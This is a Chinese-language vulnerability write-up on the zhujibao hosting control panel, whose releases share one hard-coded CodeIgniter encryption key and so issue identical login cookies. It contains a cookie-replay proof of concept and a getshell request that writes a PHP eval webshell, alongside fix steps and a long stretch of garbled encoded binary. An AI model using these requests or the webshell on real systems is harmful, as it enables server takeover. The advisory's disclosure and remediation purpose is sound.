主机宝(zhujibao) /a/apps/zhujibao/manager/apps/config/config.php no-password Login Vulnerabilities Based On Default cookie Verification From Default File

catalog

. 漏洞描述
. 漏洞触发条件
. 漏洞影响范围
. 漏洞代码分析
. 防御方法
. 攻防思考

1. 漏洞描述

主机宝管理程序使用了CodeIgniter框架，要想在CodeIgniter框架使用Session，需要使用以下步骤

. 打开application/config文件夹下的config.php文件，加入如下配置
$config['encryption_key'] ='ffasfas@$#364F32423J';
//内容可以自定义

. 在要使用Session的地方加入以下代码，加载session库
$this->load->library('session');

. 设置session
//多个一起设置
$session=array('name'=>'andy','site'=>'q-blog');
$this->session->set_userdata($session);

//单个设置
$this->session->set_userdata('testname','abc');

. 获取Session：
echo$this->session->userdata('name');

问题的根源在于主机宝的全部release程序使用了默认的加密key配置

/a/apps/zhujibao/manager/apps/config/config.php
$config['encryption_key'] = "QwertyuiopAsdfghjklZxcvbnm1234567890";

这种方案导致所有用户在登录主机宝后台的时候，计算得到的cookie都"完全相同"，黑客只要获取过本机的一次cookie，就可以利用这个cookie在任意的主机宝后台登录，本质上说，这是一种因为免登逻辑验证漏洞导致的平行权限越权漏洞

Relevant Link:

2. 漏洞触发条件

0x1: POC

GET /ci/index.php/blog HTTP/1.1
Host: 192.168.199.139
Cache-Control: max-age=
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4,fr;q=0.2
漏洞详细信息
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4,fr;q=0.2
Cookie:
ci_session=PkTq4tIa1A18OIl0Sb4a%2B4GBt2psR1J2Gj5doiqIjuwYbiQA%2B3iK45ziR%2Bi20OLVXo2xVk7GTm18qIqtjxqDakE8Q2plp4AMoaNUVtiNot08VjngjljO1U0dRCF%2BADHVzEDpS%RA-Ver: 2.10.4
RA-Sid: 7B9DD012-20150303-080129-82895f-fb68a9
AlexaToolbar-ALX_NS_PH: AlexaToolbar/alxg-3.3
//IP、HOST改成目标主机

0x2: POC GETSHELL

POST /home/runEditFile.html HTTP/1.1
Host: 115.28.56.56:
Content-Length:
Cache-Control: max-age=
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://115.28.56.56:9999
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://115.28.56.56:9999/home/editFile.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4,fr;q=0.2
Cookie: PHPSESSID=c6954eb8632b8531b2ea9f52e111db2c;
zhujibao=5gwyBbrPxEVOrIsyiBF6e4xNlRn8Ezl8qhoBg2hTlHLBukGtSYzlkrLQyobvmSWhkg1nOCiRQSycJyj71ETjzJ33S7kepSiO81IEvhZFIp1%2Fr74HqYN8zvjzwkbCpTbKIUlI36%2BNUDHUApnDJNk6MHkQ3fxRzCKiwuc9nYKSHqSxTBu2AZ47AFA84qnQhb2AafBmeLfnL8Cjp%RA-Ver: 2.10.4
RA-Sid: 7B9DD012-20150303-080129-82895f-fb68a9
AlexaToolbar-ALX_NS_PH: AlexaToolbar/alxg-3.3
filePath=%2f%61%2f%61%70%70%73%2f%7a%68%75%6a%69%62%61%6f%2f%6d%61%6e%61%67%65%72%2f%70%75%62%6c%69%63%2f%70%68%70%2e%70%68%70&<?php @eval($_POST['pass']);?>

3. 漏洞影响范围

黑客使用已知的"万能默认Cookie"，可以登录任意的主机宝后台，从而利用主机宝强大的管理功能进行GETSHELL、放置恶意木马等攻击

4. 漏洞代码分析
5. 防御方法

0x1: 方案1

. 修改/a/apps/zhujibao/manager/apps/config/config.php文件中配置信息
. 将$config['encryption_key'] = "QwertyuiopAsdfghjklZxcvbnm1234567890";的值改为随机生成的key值
. 这样，主机宝在登录验证成功后生成的cookie值就具有一定的随机性了，从而避免黑客利用"默认cookie"任意登录网站后台

0x2: 方案2

. 使用CI的自定义密钥加密函数
/*
$msg = 'My secret message';
$key = 'super-secret-key';

$encrypted_string = $this->encrypt->encode($msg, $key);
*/
. 在登录验证的时候，除了使用$config['encryption_key']的值之后，额外加入随机值来对session值进行加密
. 将加密后的cookie值向用户浏览器设置

0x3: 方案3

还有一种不需要重新发布的修复方案，因为CI的这个配置文件对所有用户来说都是一样的，可以使用shell脚本直接使用默认的含随机生成key的新文件替换旧的存在默认key漏洞的配置文件
config.sh

#!/bin/bash

wget -P /a/apps/zhujibao/manager/apps/config/ -O config.php http://dl2.admin5.com/debug/config/config.php

chown zadmin:zadmin /a/apps/zhujibao/manager/apps/config/config.php
chmod  /a/apps/zhujibao/manager/apps/config/config.php

c=`cat /dev/urandom | head - | md5sum | head -c `
sed -i "s/QwertyuiopAsdfghjklZxcvbnm1234567890/${c}/g" /a/apps/zhujibao/manager/apps/config/config.php

echo 'The update is complete'

config.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');
$config['base_url']    = '';
$config['index_page'] = '';
$config['uri_protocol']    = 'AUTO';
$config['url_suffix'] = '.html';
$config['language']    = 'english';
$config['charset'] = 'UTF-8';
$config['enable_hooks'] = TRUE;
$config['subclass_prefix'] = 'MY_';
$config['permitted_uri_chars'] = 'a-z 0-9~%.:_\-';
$config['allow_get_array']        = TRUE;
$config['enable_query_strings'] = FALSE;
$config['controller_trigger']    = 'c';
$config['function_trigger']        = 'm';
$config['directory_trigger']    = 'd'; // experimental not currently in use
$config['log_threshold'] = ;
$config['log_path'] = '';
$config['log_date_format'] = 'Y-m-d H:i:s';
$config['cache_path'] = '';
$config['encryption_key'] = 'QwertyuiopAsdfghjklZxcvbnm1234567890';
$config['sess_cookie_name']        = 'zhujibao';
$config['sess_expiration']        = ;
$config['sess_expire_on_close']    = FALSE;
$config['sess_encrypt_cookie']    = TRUE;
$config['sess_use_database']    = FALSE;
$config['sess_table_name']        = 'ci_sessions';
$config['sess_match_ip']        = FALSE;
$config['sess_match_useragent']    = TRUE;
$config['sess_time_to_update']    = ;
$config['cookie_prefix']    = "";
$config['cookie_domain']    = "";
$config['cookie_path']        = "/";
$config['cookie_secure']    = FALSE;
$config['global_xss_filtering'] = FALSE;
$config['csrf_protection'] = FALSE;
$config['csrf_token_name'] = 'csrf_test_name';
$config['csrf_cookie_name'] = 'csrf_cookie_name';
$config['csrf_expire'] = ;
$config['compress_output'] = FALSE;
$config['time_reference'] = 'local';
$config['rewrite_short_tags'] = FALSE;
$config['proxy_ips'] = '';

需要明白的是，PHP的zend加密并不是强制要求的，看下面这个示例

<?php @Zend;
;
/* ^@^A帽!This is not a text file!?铆^@  */
print <<<EOM
<html><body><a href="http://www.zend.com/products/zend_guard"><img border="" src="http://www.zend.com/images/store/safeguard_optimizer_img.gif" align="right"></a><center><h1>Zend Optimizer not installed</h1></center><p>This file was encoded by the <a href="http://www.zend.com/products/zend_guard">Zend Guard</a>. In order to run it, please install the <a href="http://www.zend.com/products/zend_optimizer">Zend Optimizer</a> (available without charge), version 3.0. or later. </p><h2>Seeing this message instead of the website you expected?</h2>This means that this webserver is not configured correctly. In order to view this website properly, please contact the website's system administrator/webmaster with the following message:<br><br><tt>The component "Zend Optimizer" is not installed on the Web Server and therefore cannot service encoded files. Please download and install the Zend Optimizer (available without charge) on the Web Server.</tt><br><br><b>Note</b>: Zend Technologies cannot resolve issues related to this message appearing on websites not belonging to <a href="http://www.zend.com">Zend Technologies</a>. <h2>What is the Zend Optimizer?</h2><p>The Zend Optimizer is one of the most popular PHP plugins for performance-improvement, and has been available without charge, since the early days of PHP 4. It improves performance by scanning PHP's intermediate code and passing it through multiple Optimization Passes to replace inefficient code patterns with more efficient code blocks. The replaced code blocks perform exactly the same operations as the original code, only faster. </p><p>In addition to improving performance, the Zend Optimizer also enables PHP to transparently load files encoded by the Zend Guard. </p><p>The Zend Optimizer is a free product available for download from <a href="http://www.zend.com">Zend Technologies</a>. Zend Technologies also developed the PHP scripting engine, known as the <a href="http://www.zend.com/products/zend_engine">Zend Engine</a>.</p></body></html>
EOM;
exit();
__halt_compiler();
?>

^K2004072203^@^B3^@^E1372^@^E4015^@x霉
<9f>^L}Y?<8e>?^Pe\隆I?<么^S^L^C}么V?<8d>R?露A<8b>录赂??C<8a>垄<>V垄mee??楼k^GE^?垄^?麓猫'矛?酶7:录X芒<8a><8c><81>5掳^X?^\R?9gF^R茂锚驴掳z戮?锚<9a>^^<87>^Z<97>~/}/?uY?芒e?c<92>^P<97>D垄~T0<84>?<89>眉^Eb谩每&r酶E<80>]芒'|麓!H颅没b赂茂?U楼^?{媒毛w?]?录U'$x^C每镁谩篓?梅)(<92><87>貌茂<99>^H?)<86>芦隆录*^V霉没茅"<9f>霉^X媒?忙E??录<9b>>?<8e>??^@?=V?0?芒?.毛<82>^^?}露隆<92>娄       zc<81>贸<93>^A^N<^^陇?<84>贸@??t?掳<8e>氓L卯/ 猫霉^D0@?茂n~tx<97>9<83><82>?B^Zl{<84>{M?~陆.^OR?\么8<81>^L?^U茂^^^@A^<84>h<80>^D?<95>4^X<90>^D氓[N?N8?戮<91>?^P陆禄霉~^YC酶P%?铆A^Zl鹿陇5莽l潞e矛庐^U卯I?氓R<90>镁<99>s忙陋潞戮<90>^F^S.Dm^?<9b>WY??霉P<95>J^G禄<89><91>K^_颅?搂^N?^G<85>+录N96>^_莽卯2霉莽毛芦?茅茂K<87>+?掳^PD卢陇?v^G<82>')L^Ri??Q<>?猫霉?L
^^?谩AZ^LLP^E<>d帽|<9c>露^]麓?<8d>?}^XO鲁?<>?j?卤H路<>X1?a^ViXU?&^E??<>*??8F鹿?y5"<8b>|{V<8e>Eh??yW虏煤).<94>没+^Cw^G(帽<88>^K>+i1qAh<85>61??S`l?2F<85>-芦毛^Q^X贸^\{?^F矛拢<8a>m?^N<9e>9?
^Y^@<>?&梅??^4b<>?BZl眉^E?}?m楼+^T镁拢E碌录pD^C<><>麓?*<8b>?A梅娄茅<9a>5禄Lp?帽??,_<8c>?/w?b镁枚u霉潞u酶?s^<>禄炉陇?娄ay<>o茅赂e^O??&麓??:卯貌 -&`^@b>铆<>禄锚路C镁?m陆?<9e>^_<>^Q<>^S^W?^Yi?q^V?b芦驴^VzV<9a><>*<>4颅鲁^]<> 谩<8f>F_媒赂铆?<>路^Ys?[<>?玫$-V<9d>芒冒么掳/<9b><8c>?<9d>
<>碌鲁<>炉媒<>莽<8a><8c>鹿^Zp,<8e>?碌S}^D娄)d-炉X{?{?^P^@?<>^F,<9a>^^N矛^B(<>氓y篓??掳?碌^H6^^     ?^]^V?b#陇?铆隆?贸?<>w}^U<>碌L^O禄%^Z陋<>^^0鹿<>_@^Z氓?麓?芦^@?<>谩PC^T颅^P<>^W<8e>N"B>^Zh?碌"ih毛<>X拢e(<9a>"^N.^\]W卯h?卤麓?s^MPa隆<96>dQp<8e>/锚^Mk^L^E搂<93>麓???(垄碌[/<8a>颅?^Z?赂^W<89>^Z??E?<82>铆虏RQ#>??u/n鲁楼y?篓<84>^RK??4<8a>^Q^麓鲁?~镁<9b><8a>?fUz<80>?Z<97>UGy<9b><96>a卤^赂gX<8d>a1炉?Yl搂B?6k1庐?|<94><9a>$2Ku娄卤+谩虏<#^W^P;vGk<8d>\<89>)?P<8f>?<95>露<9d>冒^T/^NBN?`-.镁?"禄眉<8a>8C~<>x*驴6_g娄QQ
^^)?Ry'<9f>P?<99>F露<84>?o鲁O^L?眉]I?霉?煤<8e>?^Y貌^H^_麓??枚H1~媒A^Xl=P^P^W猫E^[P_鹿O^_^F陆莽?猫]卤<芦?G<81>?m隆戮b<99>鲁[C茂<9b>^R娄^A^XX<9a>^N麓R<8d><84>~^PXjx盲^Y驴~RO矛<93><89>^E娄盲<86>^]<8e>?<87>
*麓*?ld^X梅篓'#^RF/t<8f>?G^?Z?镁^M<97>g貌)?}煤<87>霉'"<98>O?氓忙?%       H猫^F^Q!拢?每/)AA

在PHP文件的头部有一个@Zend标识符，表明这个文件是zend加密过的，PHP内核检测到这个文件头之后，就会自动调用Zend引擎进行解密，如果在文件头没有检测到Zend标签，则按照正常流程进行PHP解析并执行，这使得Zend化的网站系统具有很好的灵活性

0x4: 方案4

. 对受影响机器进行全盘扫描，收取/a/apps/zhujibao/manager/apps/config/config.php文件
. 在服务端对漏洞文件进行修复，使用随机key替换默认key
/*
<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');
..
$config['encryption_key'] = 'QwertyuiopAsdfghjklZxcvbnm1234567890';
..
*/
. 添加规则后，下发进行修复，直接使用明文的PHP文件替换存在漏洞的zend加密文件

Relevant Link:

http://codeigniter.org.cn/user_guide/libraries/encryption.html

6. 攻防思考

Copyright (c) 2015 LittleHann All rights reserved